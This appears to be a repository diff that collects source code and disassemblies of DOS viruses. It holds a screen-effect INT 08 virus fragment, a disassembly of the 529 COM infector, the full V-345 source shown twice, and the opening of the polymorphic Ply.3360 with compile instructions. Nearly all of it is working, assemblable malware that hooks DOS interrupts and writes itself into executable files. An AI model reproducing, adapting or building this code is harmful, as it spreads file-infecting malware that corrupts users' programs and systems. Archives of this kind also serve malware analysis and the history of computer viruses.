|
||||
|
||||
assume ds:BIOS_SEG
|
||||
MOV AX,0000h ;‡ ª ·¢ ±¥ INT 8
|
||||
MOV DS,AX
|
||||
MOV AX,Word Ptr D0020
|
||||
MOV BX,Word Ptr D0022
|
||||
MOV Word Ptr D0020,offset NewINT08
|
||||
MOV Word Ptr D0022,CS
|
||||
assume ds:SEG0000
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV Word Ptr D7FC9,AX ;‡ ¯ §¢ ±² °¨¿² INT 8
|
||||
MOV Word Ptr D7FCB,BX
|
||||
|
||||
L7EDE: RET
|
||||
|
||||
|
||||
;=====================================================================;
|
||||
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… ‚<>š‡‚€ <20>€ ŒŸ‘’Ž’Ž <20>€ ˆ‘’ˆ<E28099>‘ŠˆŸ’ int 08 ;
|
||||
;=====================================================================;
|
||||
NewINT08:
|
||||
PUSH DS ;‡ ¯ §¢ ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Ž¯° ¢¿ ±®¡±²¢¥¨¿² DS
|
||||
POP DS
|
||||
|
||||
MOV AH,0Fh ;Get current video mode
|
||||
INT 10h
|
||||
|
||||
MOV BL,AL
|
||||
CMP BX,Word Ptr D7FD4 ;mode = ±² °¨¿² mode
|
||||
JE L7F27 ;¤ , ¯°®¤º«¦ ¢
|
||||
|
||||
;---- <20>¥¦¨¬º² ¤¨±¯«¥© ¥ ¯°®¬¥¥. “±² ®¢¿¢¿ ®¢¨¿² °¥¦¨¬ ----;
|
||||
MOV Word Ptr D7FD4,BX ;§ ¯¨±¢ ±²° ¨¶ ² ¨ mode
|
||||
DEC AH
|
||||
MOV Byte Ptr D7FD6,AH ;§ ¯ §¢ char_per_line-1
|
||||
|
||||
MOV AH,01h
|
||||
CMP BL,07h ;mode = text b/w MGA, EGA?
|
||||
JNE L7F05 ;¥
|
||||
DEC AH
|
||||
|
||||
L7F05: CMP BL,04h ;mode = graphics?
|
||||
JNC L7F0C ;¤
|
||||
DEC AH
|
||||
|
||||
L7F0C: MOV Byte Ptr D7FD3,AH
|
||||
MOV Word Ptr D7FCF,0101h
|
||||
MOV Word Ptr D7FD1,0101h
|
||||
|
||||
MOV AH,03h ;Read cursor position and size
|
||||
INT 10h
|
||||
|
||||
PUSH DX ;‡ ¯ §¢ ¯®§¨¶¨¿² ª³°±®°
|
||||
|
||||
MOV DX,Word Ptr D7FCF
|
||||
JMP short L7F4A
|
||||
|
||||
|
||||
;---- <20>¥¦¨¬º² ¤¨±¯«¥¿ (mode) ¥ ¥ ¯°®¬¥¿ ----;
|
||||
L7F27: MOV AH,03h ;Read cursor position and size
|
||||
INT 10h
|
||||
|
||||
PUSH DX ;‡ ¯ §¢ cursor pos & size
|
||||
|
||||
MOV AH,02h ;Set cursor position
|
||||
MOV DX,Word Ptr D7FCF
|
||||
INT 10h
|
||||
|
||||
MOV AX,Word Ptr D7FCD ;Ž¯°¥¤¥«¿ ª ª¢® ¤ ¯¨¸¥ ¯® ¥ª°
|
||||
CMP Byte Ptr D7FD3,01h ;mode = GRAPF?
|
||||
JNE L7F41 ;¥
|
||||
MOV AX,8307h
|
||||
|
||||
L7F41: MOV BL,AH ;Write character & attribute
|
||||
MOV CX,0001h
|
||||
MOV AH,09h
|
||||
INT 10h
|
||||
|
||||
|
||||
|
||||
;---- Š®°¨£¨° ¯®§¨¶¨¿² ª³°±®° ----;
|
||||
L7F4A: MOV CX,Word Ptr D7FD1
|
||||
|
||||
CMP DH,00h ;Up
|
||||
JNE L7F58
|
||||
XOR CH,0FFh
|
||||
INC CH
|
||||
|
||||
L7F58: CMP DH,18h ;Down
|
||||
JNE L7F62
|
||||
XOR CH,0FFh
|
||||
INC CH
|
||||
|
||||
L7F62: CMP DL,00h ;Left
|
||||
JNE L7F6C
|
||||
XOR CL,0FFh
|
||||
INC CL
|
||||
|
||||
L7F6C: CMP DL,Byte Ptr D7FD6 ;Right
|
||||
JNE L7F77
|
||||
XOR CL,0FFh
|
||||
INC CL
|
||||
|
||||
L7F77: CMP CX,Word Ptr D7FD1
|
||||
JNE L7F94
|
||||
MOV AX,Word Ptr D7FCD
|
||||
AND AL,07h
|
||||
CMP AL,03h
|
||||
JNE L7F8B
|
||||
XOR CH,0FFh
|
||||
INC CH
|
||||
L7F8B: CMP AL,05h
|
||||
JNE L7F94
|
||||
XOR CL,0FFh
|
||||
INC CL
|
||||
|
||||
L7F94: ADD DL,CL
|
||||
ADD DH,CH
|
||||
MOV Word Ptr D7FD1,CX
|
||||
MOV Word Ptr D7FCF,DX
|
||||
MOV AH,02h
|
||||
INT 10h ;Set cursor position
|
||||
|
||||
MOV AH,08h ;Read character & attribute
|
||||
INT 10h
|
||||
|
||||
MOV Word Ptr D7FCD,AX
|
||||
MOV BL,AH
|
||||
CMP Byte Ptr D7FD3,01h ;mode = GRAPH?
|
||||
JNE L7FB6 ;¥
|
||||
MOV BL,83h
|
||||
|
||||
L7FB6: MOV CX,0001h ;Write character & attribute
|
||||
MOV AX,0907h
|
||||
INT 10h
|
||||
|
||||
POP DX ;Restore cursor position
|
||||
MOV AH,02h
|
||||
INT 10h
|
||||
|
||||
POP DX ;‚º§±² ®¢¿¢ ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP DS
|
||||
D7FC9 = $+1
|
||||
D7FCB = $+3
|
||||
JMP INTERR8 ;Ž²¨¢ ¨±²¨±ª¨¿² INT 08
|
||||
|
||||
D7FCD DW 0
|
||||
D7FCF DW 0101h ;<3B> ¡®² ¯®§¨¶¨¿ ¥ª° ¢¨°³±
|
||||
D7FD1 DW 0101h
|
||||
D7FD3 DB 0 ; 1 - mode = graph, b800
|
||||
; 0 - mode = text, b800
|
||||
;-1 - mode = 7, text b/w EGA,HGA
|
||||
|
||||
D7FD4 DW 0FFFFh ;± ¬¨¿² mode
|
||||
D7FD6 DB 50h ;¡°®© ±¨¬¢®«¨ °¥¤
|
||||
|
||||
|
||||
DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
|
||||
DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
|
||||
DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h
|
||||
DB 040h,040h,040h,064h,062h,05Eh,062h,060h
|
||||
DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
|
||||
DB 0B6h
|
||||
|
||||
|
||||
;*************************************************************
|
||||
; <20>€<EFBFBD>Ž’<C5BD>€ Ž<>‹€‘’ <20>€ ‚ˆ<E2809A>“‘€
|
||||
D8000 = $
|
||||
|
||||
SEG0000 ends
|
||||
END
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,347 @@
|
|||
; virus 529 extracted from full memory dump published by N.N.Bezrukov
|
||||
; in Virus Guide (Computer Virology) edition 3.5. First information about this
|
||||
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
|
||||
;
|
||||
; Dissasembly: A.Kadlof 1990-08-31
|
||||
;
|
||||
; Virus code is placed at the begining of the file
|
||||
|
||||
0100 B815CA MOV AX,CA15 ; is resident part alredy instaled?
|
||||
0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes
|
||||
0107 BF0001 MOV DI,0100 ; begining of the file
|
||||
010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length
|
||||
010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable
|
||||
0112 CD21 INT 21 ; resident part of the virus
|
||||
|
||||
; if resident part of the virus is instaled then INT 21 with AX = CA15
|
||||
; will start infected program, atherwise we will come here
|
||||
|
||||
0114 FF361F01 PUSH [011F] ; jump to CS:0147
|
||||
0118 C3 RET
|
||||
|
||||
;------------------
|
||||
; virus date area
|
||||
|
||||
0119 01 01 ; flag - disable virus request
|
||||
011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length
|
||||
; plus 100h (size of memory image of file + PSP)
|
||||
011D 11 02 ; virus length
|
||||
011F 47 01 ; offset of virus code after working area
|
||||
0121 79 00 ; ??
|
||||
0123 C0 01
|
||||
0125 04 00
|
||||
0127 C4 01 ; offset of new INT 21h handler
|
||||
0129 4D 00
|
||||
012B 11 02 EA 00 FB ; ??
|
||||
0130 02 01 00 FC 02 01 00 ; ??
|
||||
|
||||
; EXEC Parameter Block
|
||||
|
||||
0137 00 00 ; segment of child enviroment
|
||||
0139 80 00 0E 25 ; adress of command line
|
||||
013D 5C 00 0E 25 ; adress of first FCB
|
||||
013F 6C 00 0E 25 ; adress of second FCB
|
||||
|
||||
0145 CA 01 ; offset of virus int 21h handler
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; continue instalation of virus if resident part is not present
|
||||
|
||||
0147 A11D01 MOV AX,[011D] ; 0211h virus length
|
||||
014A 051401 ADD AX,0114 ; AX := 325h length of buffer and
|
||||
; working area
|
||||
014D 90 NOP
|
||||
014E A30503 MOV [0305],AX ; I/O buffer
|
||||
0151 03061D01 ADD AX,[011D]
|
||||
0155 050001 ADD AX,0100
|
||||
0158 A30D03 MOV [030D],AX
|
||||
015B 8BE0 MOV SP,AX
|
||||
015D 050F00 ADD AX,000F
|
||||
0160 B104 MOV CL,04
|
||||
0162 D3E8 SHR AX,CL
|
||||
0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by
|
||||
0167 06 PUSH ES ; virus (64 paragraphs)
|
||||
|
||||
; capture INT 21h
|
||||
|
||||
0168 B82135 MOV AX,3521 ; get INT 21h
|
||||
016B CD21 INT 21
|
||||
|
||||
; store it
|
||||
|
||||
016D 8C06FF02 MOV [02FF],ES
|
||||
0171 891EFD02 MOV [02FD],BX
|
||||
|
||||
0175 07 POP ES ; restore from the stack
|
||||
0176 8B162701 MOV DX,[0127] ; offset of new INT 21h
|
||||
017A B82125 MOV AX,2521 ; set INT 21h
|
||||
017D CD21 INT 21
|
||||
|
||||
017F 8B1E0F03 MOV BX,[030F] ; size of requested memory
|
||||
0183 B44A MOV AH,4A ; modify allocated memory block
|
||||
0185 CD21 INT 21
|
||||
|
||||
0187 8CC0 MOV AX,ES
|
||||
0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block
|
||||
018C A33F01 MOV [013F],AX
|
||||
018F A34301 MOV [0143],AX
|
||||
|
||||
0192 8E1E2C00 MOV DS,[002C] ; enviroment block
|
||||
0196 33F6 XOR SI,SI ; point at the begining of block
|
||||
|
||||
0198 AC LODSB
|
||||
0199 0A04 OR AL,[SI] ; look for 0, 0 marker
|
||||
019B 75FB JNZ 0198
|
||||
|
||||
019D 83C603 ADD SI,+03 ; point at full pathname
|
||||
01A0 8BD6 MOV DX,SI ; offset of name of virus carrier
|
||||
01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block
|
||||
01A5 B8004B MOV AX,4B00 ; Load & Execute
|
||||
01A8 CD21 INT 21
|
||||
|
||||
01AA 8CC8 MOV AX,CS
|
||||
01AC 8ED0 MOV SS,AX ; restore stack pointers
|
||||
01AE 2E CS:
|
||||
01AF 8B260D03 MOV SP,[030D]
|
||||
01B3 B44D MOV AH,4D ; get return code of subprogram
|
||||
01B5 CD21 INT 21
|
||||
|
||||
01B7 2E CS:
|
||||
01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs
|
||||
01BC B431 MOV AH,31 ; terminate but stay resident
|
||||
01BE CD21 INT 21
|
||||
|
||||
01C0 B44C MOV AH,4C ; terminate process
|
||||
01C2 CD21 INT 21
|
||||
|
||||
;----------------------
|
||||
; new INT 21h handler
|
||||
|
||||
01C4 2E CS:
|
||||
01C5 FF364501 PUSH [0145] ; 01CA
|
||||
01C9 C3 RET
|
||||
|
||||
01CA 3D15CA CMP AX,CA15 ; virus call?
|
||||
01CD 7519 JNZ 01E8 ; no
|
||||
|
||||
01CF 2E CS:
|
||||
01D0 3B1E1901 CMP BX,[0119] ; disable request?
|
||||
01D4 7608 JBE 01DE ; no
|
||||
|
||||
; disable resident part of virus
|
||||
|
||||
01D6 2E CS:
|
||||
01D7 C70645010C02 MOV WORD PTR [0145],020C
|
||||
01DD CF IRET
|
||||
|
||||
; return to infected file, first copy oryginal 529 bytes from the end of the
|
||||
; file to the begining (registers should be prepared by caller)
|
||||
|
||||
01DE F3 REPZ
|
||||
01DF A4 MOVSB
|
||||
|
||||
01E0 58 POP AX
|
||||
01E1 B80001 MOV AX,0100 ; new start adress
|
||||
01E4 50 PUSH AX
|
||||
01E5 33C0 XOR AX,AX
|
||||
01E7 CF IRET
|
||||
|
||||
; is it Load & Execute request?
|
||||
|
||||
01E8 3D004B CMP AX,4B00 ; Load & Execute
|
||||
01EB 751F JNZ 020C ; no, jump to oryginal INT 21h
|
||||
|
||||
; check the name of loaded file (is it COM or not)
|
||||
|
||||
01ED 06 PUSH ES
|
||||
01EE 1E PUSH DS
|
||||
01EF 07 POP ES
|
||||
01F0 8BFA MOV DI,DX ; name of loaded file
|
||||
01F2 B9FFFF MOV CX,FFFF ; length of searched block
|
||||
01F5 F2 REPNZ
|
||||
01F6 AE SCASB ; AL = 0;
|
||||
01F7 26 ES:
|
||||
01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name
|
||||
01FB 0C20 OR AL,20 ; convert to lower letter
|
||||
01FD 3C6D CMP AL,6D ; 'm' (is it COM?)
|
||||
01FF 07 POP ES
|
||||
0200 7505 JNZ 0207 ; no
|
||||
|
||||
0202 E80C00 CALL 0211 ; infect loaded file
|
||||
|
||||
0205 EB03 JMP 020A
|
||||
|
||||
0207 E8F100 CALL 02FB ; CS:02FB RET
|
||||
|
||||
020A 32C0 XOR AL,AL
|
||||
|
||||
020C 2E CS:
|
||||
020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h
|
||||
|
||||
;---------------------------
|
||||
; Infection of the new file
|
||||
|
||||
0211 06 PUSH ES
|
||||
0212 50 PUSH AX
|
||||
0213 53 PUSH BX
|
||||
0214 1E PUSH DS
|
||||
0215 52 PUSH DX
|
||||
0216 8BEC MOV BP,SP
|
||||
|
||||
0218 0E PUSH CS
|
||||
0219 1F POP DS
|
||||
|
||||
021A B82435 MOV AX,3524 ; get INT 24h
|
||||
021D CD21 INT 21
|
||||
|
||||
021F 8C060303 MOV [0303],ES
|
||||
0223 891E0103 MOV [0301],BX
|
||||
|
||||
0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler
|
||||
022A B82425 MOV AX,2524 ; set interrupt vector 24h
|
||||
022D CD21 INT 21
|
||||
|
||||
022F 1E PUSH DS
|
||||
0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name
|
||||
0233 8E5E02 MOV DS,[BP+02]
|
||||
0236 B80043 MOV AX,4300 ; get file attributes
|
||||
0239 CD21 INT 21
|
||||
|
||||
023B 7250 JB 028D ; problems
|
||||
|
||||
023D 2E CS:
|
||||
023E 890E0B03 MOV [030B],CX ; store current file attributes
|
||||
0242 B80143 MOV AX,4301 ; set file attributes
|
||||
0245 33C9 XOR CX,CX ; clear all attributes
|
||||
0247 CD21 INT 21
|
||||
|
||||
0249 7242 JB 028D ; problems
|
||||
|
||||
024B B8023D MOV AX,3D02 ; open file for read\write
|
||||
024E CD21 INT 21
|
||||
|
||||
0250 7274 JB 02C6 ; problems
|
||||
|
||||
0252 1F POP DS
|
||||
0253 8BD8 MOV BX,AX
|
||||
0255 B80057 MOV AX,5700 ; get file date
|
||||
0258 CD21 INT 21
|
||||
|
||||
025A 726A JB 02C6 ; problems
|
||||
|
||||
025C 890E0703 MOV [0307],CX ; store time
|
||||
0260 89160903 MOV [0309],DX ; store date
|
||||
|
||||
0264 8B160503 MOV DX,[0305] ; offset of buffer
|
||||
0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus)
|
||||
026C B43F MOV AH,3F ; read from file
|
||||
026E CD21 INT 21
|
||||
|
||||
0270 7254 JB 02C6 ; problems
|
||||
|
||||
0272 3BC1 CMP AX,CX ; check for I/O problems
|
||||
0274 7550 JNZ 02C6 ; problems
|
||||
|
||||
; compare first 19h bytes (25) to check is file alredy infected
|
||||
|
||||
0276 0E PUSH CS
|
||||
0277 07 POP ES
|
||||
0278 BF0001 MOV DI,0100
|
||||
027B 8BF2 MOV SI,DX
|
||||
027D B91900 MOV CX,0019
|
||||
0280 F3 REPZ
|
||||
0281 A6 CMPSB
|
||||
0282 7442 JZ 02C6 ; file infected
|
||||
|
||||
0284 B80242 MOV AX,4202 ; move file pointer
|
||||
0287 33C9 XOR CX,CX ; to the end of file
|
||||
0289 8BD1 MOV DX,CX ; CX:DX = 0
|
||||
028B CD21 INT 21
|
||||
|
||||
028D 7237 JB 02C6 ; problems
|
||||
|
||||
028F 0BD2 OR DX,DX ; file over 64 Kb
|
||||
0291 7533 JNZ 02C6 ; problems
|
||||
|
||||
0293 050001 ADD AX,0100
|
||||
0296 A31B01 MOV [011B],AX
|
||||
0299 3D00F0 CMP AX,F000
|
||||
029C 7728 JA 02C6 ; file to big
|
||||
|
||||
029E 3DD007 CMP AX,07D0 ; file to small
|
||||
02A1 7223 JB 02C6 ; problems
|
||||
|
||||
02A3 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||||
02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer
|
||||
02AB B440 MOV AH,40 ; write to file
|
||||
02AD CD21 INT 21
|
||||
|
||||
02AF 7215 JB 02C6 ; problems
|
||||
|
||||
02B1 B80042 MOV AX,4200 ; move file pointer
|
||||
02B4 33D2 XOR DX,DX ; to the beginning of file
|
||||
02B6 8BCA MOV CX,DX ; CX:DX = 0
|
||||
02B8 CD21 INT 21
|
||||
|
||||
02BA 720A JB 02C6 ; problems
|
||||
|
||||
02BC FEC6 INC DH
|
||||
02BE 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||||
02C2 B440 MOV AH,40 ; write to file
|
||||
02C4 CD21 INT 21
|
||||
|
||||
;----------------------------------
|
||||
; exit if any troubles or when done
|
||||
|
||||
02C6 B80157 MOV AX,5701 ; set file time and date
|
||||
02C9 8B0E0703 MOV CX,[0307] ; recall time
|
||||
02CD 8B160903 MOV DX,[0309] ; recall data
|
||||
02D1 CD21 INT 21
|
||||
|
||||
02D3 B43E MOV AH,3E ; Close file (BX = handle)
|
||||
02D5 CD21 INT 21
|
||||
|
||||
02D7 B80143 MOV AX,4301 ; set file attributes
|
||||
02DA 8B0E0B03 MOV CX,[030B] ; recall attributes
|
||||
02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ)
|
||||
02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ)
|
||||
02E4 CD21 INT 21
|
||||
|
||||
02E6 2E CS:
|
||||
02E7 C5160103 LDS DX,[0301]
|
||||
02EB B82425 MOV AX,2524 ; restore INT 24h
|
||||
02EE CD21 INT 21
|
||||
|
||||
02F0 8BE5 MOV SP,BP
|
||||
02F2 5A POP DX
|
||||
02F3 1F POP DS
|
||||
02F4 5B POP BX
|
||||
02F5 58 POP AX
|
||||
02F6 07 POP ES
|
||||
02F7 C3 RET
|
||||
|
||||
;----------------------------------
|
||||
; INT 24h handler during infection
|
||||
|
||||
02F8 B003 MOV AL,03
|
||||
02FA CF IRET
|
||||
|
||||
02FB C3 RET
|
||||
|
||||
02FC C3 RET
|
||||
|
||||
;--------------
|
||||
; date holder
|
||||
|
||||
02FD 5C 06 FD 18 ; old INT 21h holder
|
||||
0301 56 05 9D 10 ; old INT 24h holder
|
||||
0305 25 03 ; offset of disk I/O buffer
|
||||
0307 36 00 ; file time
|
||||
0309 21 00 ; file date
|
||||
030B 20 00 ; file attributes
|
||||
030D 36 06 ; SP holder
|
||||
030F 64 00 ; segment-paragraph just beyond the end of resident part
|
||||
|
||||
0325 ; I/O bufer
|
||||
|
||||
|
|
@ -0,0 +1,134 @@
|
|||
page ,132
|
||||
name V345
|
||||
title V-345 - a mutation of the V-845 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
timer equ 6C
|
||||
olddta equ 80
|
||||
virlen = offset endcode - offset start
|
||||
newid = offset ident - offset start
|
||||
|
||||
start:
|
||||
jmp short virus
|
||||
|
||||
ident dw 'VI'
|
||||
counter db 0
|
||||
allcom db '*.COM',0
|
||||
progbeg dd ?
|
||||
eof dw ?
|
||||
newdta db 2C dup (?)
|
||||
fname equ offset newdta+1E
|
||||
|
||||
virus:
|
||||
push ax
|
||||
mov ax,cs ;Move program code
|
||||
add ax,1000 ; 64K bytes forward
|
||||
mov es,ax
|
||||
inc [counter]
|
||||
mov si,offset start
|
||||
xor di,di
|
||||
mov cx,virlen
|
||||
rep movsb
|
||||
|
||||
mov dx,offset newdta ;Set new Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
mov dx,offset allcom ;Search for '*.COM' files
|
||||
mov cx,110b ;Normal, Hidden or System
|
||||
mov ah,4E ;Find First file
|
||||
int 21
|
||||
jc done ;Quit if none found
|
||||
|
||||
mainlp:
|
||||
mov dx,fname
|
||||
mov ax,3D02 ;Open file in Read/Write mode
|
||||
int 21
|
||||
mov bx,ax ; Save handle
|
||||
push es
|
||||
pop ds
|
||||
mov dx,virlen
|
||||
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
|
||||
mov ah,3F ;Read from handle
|
||||
int 21 ;Bytes read in AX
|
||||
add ax,virlen
|
||||
mov cs:[eof],ax ;Save pointer to the end of file
|
||||
cmp ds:[newid+virlen],'VI' ;Infected?
|
||||
je close ;Go find next file if so
|
||||
|
||||
xor cx,cx ;Go to file beginning
|
||||
mov dx,cx
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
int 21
|
||||
jc close ;Leave this file if error occures
|
||||
|
||||
xor dx,dx ;Write the whole code (virus+file)
|
||||
mov cx,cs:[eof] ; back onto the file
|
||||
mov ah,40 ;Write to handle
|
||||
int 21
|
||||
|
||||
close:
|
||||
mov ah,3E ;Close the file
|
||||
int 21
|
||||
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
mov ah,4F ;Find next matching file
|
||||
int 21
|
||||
jc done ;Exit if all found
|
||||
jmp mainlp ;Otherwise loop again
|
||||
|
||||
done:
|
||||
mov dx,olddta ;Restore old Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
cmp [counter],5 ;If counter goes above 5,
|
||||
jb progok ; the program becomes "sick"
|
||||
mov ax,40
|
||||
mov ds,ax ;Get the system timer value
|
||||
mov ax,word ptr [timer]
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
and ax,1 ;At random (if timer value is odd)
|
||||
jz progok ; display the funny message
|
||||
mov dx,offset message
|
||||
mov ah,9 ;Print string
|
||||
int 21
|
||||
int 20 ;Terminate program
|
||||
|
||||
message db 'Program sick error:Call doctor or '
|
||||
db 'buy PIXEL for cure description',0A,0Dh,'$'
|
||||
|
||||
progok:
|
||||
mov si,offset transf ;Move this part of code
|
||||
mov cx,offset endcode - offset transf ;Code length
|
||||
xor di,di ;Move to ES:0
|
||||
rep movsb ;Do it
|
||||
|
||||
pop bx ; BX = old AX
|
||||
mov word ptr cs:[progbeg],0
|
||||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||
jmp cs:[progbeg] ;Jump at program start
|
||||
|
||||
transf:
|
||||
push ds
|
||||
pop es
|
||||
mov si,offset endcode
|
||||
mov di,offset start
|
||||
mov cx,0FFFF ;Restore original program's code
|
||||
sub cx,si
|
||||
rep movsb
|
||||
mov word ptr cs:[start],offset start
|
||||
mov word ptr cs:[start+2],ds
|
||||
mov ax,bx
|
||||
jmp dword ptr cs:[start] ;Jump to program start
|
||||
endcode label byte
|
||||
|
||||
int 20 ;Dummy program
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,134 @@
|
|||
page ,132
|
||||
name V345
|
||||
title V-345 - a mutation of the V-845 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
timer equ 6C
|
||||
olddta equ 80
|
||||
virlen = offset endcode - offset start
|
||||
newid = offset ident - offset start
|
||||
|
||||
start:
|
||||
jmp short virus
|
||||
|
||||
ident dw 'VI'
|
||||
counter db 0
|
||||
allcom db '*.COM',0
|
||||
progbeg dd ?
|
||||
eof dw ?
|
||||
newdta db 2C dup (?)
|
||||
fname equ offset newdta+1E
|
||||
|
||||
virus:
|
||||
push ax
|
||||
mov ax,cs ;Move program code
|
||||
add ax,1000 ; 64K bytes forward
|
||||
mov es,ax
|
||||
inc [counter]
|
||||
mov si,offset start
|
||||
xor di,di
|
||||
mov cx,virlen
|
||||
rep movsb
|
||||
|
||||
mov dx,offset newdta ;Set new Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
mov dx,offset allcom ;Search for '*.COM' files
|
||||
mov cx,110b ;Normal, Hidden or System
|
||||
mov ah,4E ;Find First file
|
||||
int 21
|
||||
jc done ;Quit if none found
|
||||
|
||||
mainlp:
|
||||
mov dx,fname
|
||||
mov ax,3D02 ;Open file in Read/Write mode
|
||||
int 21
|
||||
mov bx,ax ; Save handle
|
||||
push es
|
||||
pop ds
|
||||
mov dx,virlen
|
||||
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
|
||||
mov ah,3F ;Read from handle
|
||||
int 21 ;Bytes read in AX
|
||||
add ax,virlen
|
||||
mov cs:[eof],ax ;Save pointer to the end of file
|
||||
cmp ds:[newid+virlen],'VI' ;Infected?
|
||||
je close ;Go find next file if so
|
||||
|
||||
xor cx,cx ;Go to file beginning
|
||||
mov dx,cx
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
int 21
|
||||
jc close ;Leave this file if error occures
|
||||
|
||||
xor dx,dx ;Write the whole code (virus+file)
|
||||
mov cx,cs:[eof] ; back onto the file
|
||||
mov ah,40 ;Write to handle
|
||||
int 21
|
||||
|
||||
close:
|
||||
mov ah,3E ;Close the file
|
||||
int 21
|
||||
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
mov ah,4F ;Find next matching file
|
||||
int 21
|
||||
jc done ;Exit if all found
|
||||
jmp mainlp ;Otherwise loop again
|
||||
|
||||
done:
|
||||
mov dx,olddta ;Restore old Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
cmp [counter],5 ;If counter goes above 5,
|
||||
jb progok ; the program becomes "sick"
|
||||
mov ax,40
|
||||
mov ds,ax ;Get the system timer value
|
||||
mov ax,word ptr [timer]
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
and ax,1 ;At random (if timer value is odd)
|
||||
jz progok ; display the funny message
|
||||
mov dx,offset message
|
||||
mov ah,9 ;Print string
|
||||
int 21
|
||||
int 20 ;Terminate program
|
||||
|
||||
message db 'Program sick error:Call doctor or '
|
||||
db 'buy PIXEL for cure description',0A,0Dh,'$'
|
||||
|
||||
progok:
|
||||
mov si,offset transf ;Move this part of code
|
||||
mov cx,offset endcode - offset transf ;Code length
|
||||
xor di,di ;Move to ES:0
|
||||
rep movsb ;Do it
|
||||
|
||||
pop bx ; BX = old AX
|
||||
mov word ptr cs:[progbeg],0
|
||||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||
jmp cs:[progbeg] ;Jump at program start
|
||||
|
||||
transf:
|
||||
push ds
|
||||
pop es
|
||||
mov si,offset endcode
|
||||
mov di,offset start
|
||||
mov cx,0FFFF ;Restore original program's code
|
||||
sub cx,si
|
||||
rep movsb
|
||||
mov word ptr cs:[start],offset start
|
||||
mov word ptr cs:[start+2],ds
|
||||
mov ax,bx
|
||||
jmp dword ptr cs:[start] ;Jump to program start
|
||||
endcode label byte
|
||||
|
||||
int 20 ;Dummy program
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,836 @@
|
|||
comment *
|
||||
Ply.3360
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3360 is polymorphic in file using its internal
|
||||
polymorphic engine.
|
||||
|
||||
To compile Ply.3360 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3360.ASM
|
||||
TLINK /t /x PLY_3360.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3360
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,code_begin ; SI = offset of code_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
